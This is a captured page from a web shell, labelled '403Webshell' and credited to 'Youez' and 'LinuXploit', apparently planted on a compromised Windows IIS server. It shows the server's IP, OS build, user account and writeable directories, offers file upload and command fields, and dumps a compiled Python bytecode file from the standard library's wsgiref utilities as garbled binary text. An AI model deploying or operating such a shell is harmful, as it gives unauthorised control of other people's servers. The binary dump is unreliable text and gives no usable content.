403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.144
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/wsgiref/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/wsgiref/__pycache__/util.cpython-315.pyc
R
>lqjc�t�Qs]PHs,Q	NsQQ2sQsQsQ
QksQsQs.QlOs
QsP!)z$Miscellaneous WSGI-related Utilities�FileWrapperc�<`�\sQs]snQsQQksQsQsQsUs	P!)rz1Wrapper to convert file-like objects to iterablesc�j�VmV m[UQ2%cUOUmP!P!)�close)�filelike�blksize�hasattrr)�selfrrs&&&�!C:\Python315\\Lib\wsgiref\util.py�__init__�FileWrapper.__init__s)�� �
����8�G�$�$�!���D�J�%�c��U!�N�)rs&r	�__iter__�FileWrapper.__iter__s���rc�n�UOOUO2oU%cU![gr)r�readr�
StopIteration)r�datas& r	�__next__�FileWrapper.__next__s(���}�}�!�!�$�,�,�/����K��r)rrr)i )
�__name__�
__module__�__qualname__�__firstlineno__�__doc__r
rr�__static_attributes__�__classdictcell__)�
__classdict__s@r	rrs����;�(���rc�8�UOQ2Q7cQ!Q!)zMReturn a guess for whether 'wsgi.url_scheme' should be 'http' or 'https'
    �HTTPS�https�http)�yes�on�1)�get)�environs&r	�guess_schemer)s���{�{�7��/�/��rc��UQ*Q*o]QHGoUOQ2%cVQ**
oLhVQ**
oUQ*Q6Xc'UQ*Q6wcUQ	UQ***
oL%UQ*Q
6wcUQ	UQ***
oXUOQ29%fQQ
Q5*
oU!)z@Return the application's base URI (no PATH_INFO or QUERY_STRING)�wsgi.url_schemez://��quote�	HTTP_HOST�SERVER_NAMEr"�SERVER_PORT�443�:�80�SCRIPT_NAME�/�latin1)�encoding)�urllib.parser-r')r(�urlr-s&  r	�application_urir:%s���
�#�
$�U�
*�C�"��{�{�;����{�#�#���}�%�%���$�%��0��}�%��.��s�W�]�3�3�3����}�%��-��s�W�]�3�3�3���5����]�+�2�2�s�X�F�F�C��Jrc�*�[U2o]QHGoUUOQP2QQQ5oUOQ2%fV$Q**
oLV$*
oU%c/UOQ2%cUQ	UQ***
oU!)
zBReturn the full request URI, optionally including the query stringr,�	PATH_INFOz/;=,r6)�safer7r4:�NN�QUERY_STRING�?)r:r8r-r')r(�
include_queryr9r-�	path_infos&&   r	�request_urirC9su��
�'�
"�C�"��g�k�k�+�b�1���R�I��;�;�}�%�%���}����������^�4�4��s�W�^�,�,�,���Jrc��UOQP2oU%fP!UOQ2oU]PTt,tFDp3%fJUQ6wfJUMJ	toU]P#U]*oU]UOQP2o[OUQ*U*2oUO	Q2%cUPPoU%f!UO	Q2%f
UQ*
oVPQ$QOU2UQ$UQ6XcPoU!ttoh)a6Shift a name from PATH_INFO to SCRIPT_NAME, returning it

If there are no remaining path segments in PATH_INFO, return None.
Note: 'environ' is modified in-place; use a copy if you need to keep
the original PATH_INFO or SCRIPT_NAME.

Note: when PATH_INFO is just a '/', this returns '' and appends a trailing
'/' to SCRIPT_NAME, even though empty path segments are normally ignored,
and SCRIPT_NAME doesn't normally end in a '/'.  This is intentional
behavior, to ensure that an application can tell the difference between
'/x' and '/x/' when traversing to objects.
r<r5�.r4)r'�split�	posixpath�normpath�endswith�join)r(rB�
path_parts�p�name�script_names&     r	�shift_path_inforOFs������K��+�I�������%�J�#-�a��#3�F�#3�a�q��Q�#�X���#3�F�J�q����a�=�D��1�
��+�+�m�B�/�K��$�$�[��_�T�%9�:�K����C� � �!�#�2�&����,�,�S�1�1��s���(�M�� �X�X�j�1�G�K���S�y����K��+Gs�D�D�Dc���UOQQ2UOQQ2UOQUQ*2UOQQ2QU7c,Q	U7c%UOQP2UOQ	Q
2UOQQ2UOQ]2UOQ
]2UOQ]2]QHGoGoUOQU22UOQU22UOQ[	U22UQ*Q6XcUOQQ2P!UQ*Q6XcUOQQ2P!P!)aUpdate 'environ' with trivial defaults for testing purposes

This adds various parameters required for WSGI, including HTTP_HOST,
SERVER_NAME, SERVER_PORT, REQUEST_METHOD, SCRIPT_NAME, PATH_INFO,
and all of the wsgi.* variables.  It only supplies default values,
and does not replace any existing settings for these variables.

This routine is intended to make it easier for unit tests of WSGI
servers and applications to set up dummy environments.  It should *not*
be used by actual WSGI servers or applications, since the data is fake!
r/z	127.0.0.1�SERVER_PROTOCOLzHTTP/1.0r.�REQUEST_METHOD�GETr4r<r5zwsgi.versionz
wsgi.run_oncezwsgi.multithreadzwsgi.multiprocess)�StringIO�BytesIOz
wsgi.inputzwsgi.errorsr+r#r0r3r"r1)r>�)�
setdefault�iorTrUr))r(rTrUs&  r	�setup_testing_defaultsrYos:�����}�[�1����(��4����{�7�=�#9�:����'��.��G�#��7�(B����=��,����;�s�+����~�u�-������*����)�1�-����*�A�.�$����|�W�Y�/����}�h�j�1����(��g�)>�?�� �!�6�)����=�$�/�	�"�	#�W�	,����=�%�0�
-rc�6�[UO22!)z?Return true if 'header_name' is an HTTP/1.1 "Hop-by-Hop" header)�_hoppish�lower)�header_names&r	�
is_hop_by_hopr^�s���K�%�%�'�(�(r)rr)r:rCrOrYr^)T>�te�upgrade�trailers�
connection�
keep-alive�transfer-encoding�proxy-authenticate�proxy-authorization)rrG�__all__rr)r:rCrOrY�__contains__r[r^rrr	�<module>risM��*������$��(�'�R$1�P��,�		�)r

Youez - 2016 - github.com/yon3zu
LinuXploit